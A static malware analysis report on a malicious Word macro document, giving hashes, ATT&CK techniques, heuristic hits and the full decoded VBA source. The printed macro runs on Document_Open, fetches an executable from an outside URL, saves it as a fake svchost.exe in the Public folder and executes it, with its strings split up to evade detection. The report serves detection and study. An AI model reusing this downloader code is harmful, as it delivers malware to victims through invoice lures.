Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fd2fa8db05cbcd08…

MALICIOUS

Office (OLE)

36.0 KB Created: 2015-08-02 20:23:00 Authoring application: Microsoft Office Word First seen: 2015-09-24
MD5: 76c96669a1ec195fd1b1808125be44f0 SHA-1: bc05cea658566f074ed6d9c636b65a0340083d84 SHA-256: fd2fa8db05cbcd089b131bfcd542148af5772b3df9b19777e428a8eaaf1a848f
470 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1071.001 Web Protocols T1105 Ingress Tool Transfer

The sample contains VBA macros that leverage WScript.Shell and URLDownloadToFile to download and execute a second-stage payload. The document body explicitly prompts the user to enable macros to view an invoice, indicating a social engineering lure. The reconstructed URL for the payload is http://itcbgrimaldi.altervista.org/tmp/zzzzzccc.exe and it is saved to C:\Users\Public\Documents\svchost.exe.

Heuristics 12

  • ClamAV: Doc.Downloader.Sload-6961205-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6961205-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            executionBegin = Shell(Management, windowStyle)
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
            Set wsh = VBA.CreateObject("WScript.Shell")
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
      "URLDownloadToFileA" (ByVal MicrosoftEssential As Long, ByVal OffensiveSecurity As String, ByVal _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
            Set wsh = VBA.CreateObject("WScript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2220 bytes
SHA-256: be3910e4f9be215a86bc8203b7df44b0c9a75868b31556cfc21f136ddb180405
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function Wikipedia Lib "urlmon" Alias _
  "URLDownloadToFileA" (ByVal MicrosoftEssential As Long, ByVal OffensiveSecurity As String, ByVal _
    ResidentEvilFour As String, ByVal PlayStationPortable As Long, ByVal NepalEighthWonderofWorld As Long) As Long

Private Sub Document_Open()
        
        Dim TempStart As String
        Dim TempColon As String
        Dim TempSlash As String
        Dim TempFirst As String
        Dim TempSecond As String
        Dim TempThird As String
        Dim TempFourth As String
        Dim TempFifth As String
        Dim TempSixth As String
        Dim FinalTemp As String
        Dim Management As String
        Dim WindowsOpen As String, ext As String
        Dim buf, ret As Long
        Dim LinkOne As String
        Dim LinkTwo As String
        Dim LinkThree As String
        LinkOne = "http"
        LinkTwo = "://itcbgrimaldi.altervista.org"
        LinkThree = "/tmp/zzzzzccc.exe"
"
        WindowsOpen = LinkOne + LinkTwo + LinkThree
        buf = Split(WindowsOpen, ".")
        ext = buf(UBound(buf))
        TempStart = "C"
        TempColon = ":"
        TempSlash = "\"
        TempFirst = "Users"
        TempSecond = "Public"
        TempThird = "Documents"
        TempFourth = "svchost"
        TempFifth = "."
        TempSixth = "exe"
        FinalTemp = TempStart + TempColon + TempSlash + TempFirst + TempSlash + TempSecond + TempSlash + TempThird + TempSlash + TempFourth + TempFifth + TempSixth
        
        Management = FinalTemp
        ret = Wikipedia(0, WindowsOpen, Management, 0, 0)
        
        Dim wsh As Object
        Set wsh = VBA.CreateObject("WScript.Shell")
        Dim waitOnReturn As Boolean: waitOnReturn = True
        Dim windowStyle As Integer: windowStyle = 1

        Dim executionBegin
        executionBegin = Shell(Management, windowStyle)
End Sub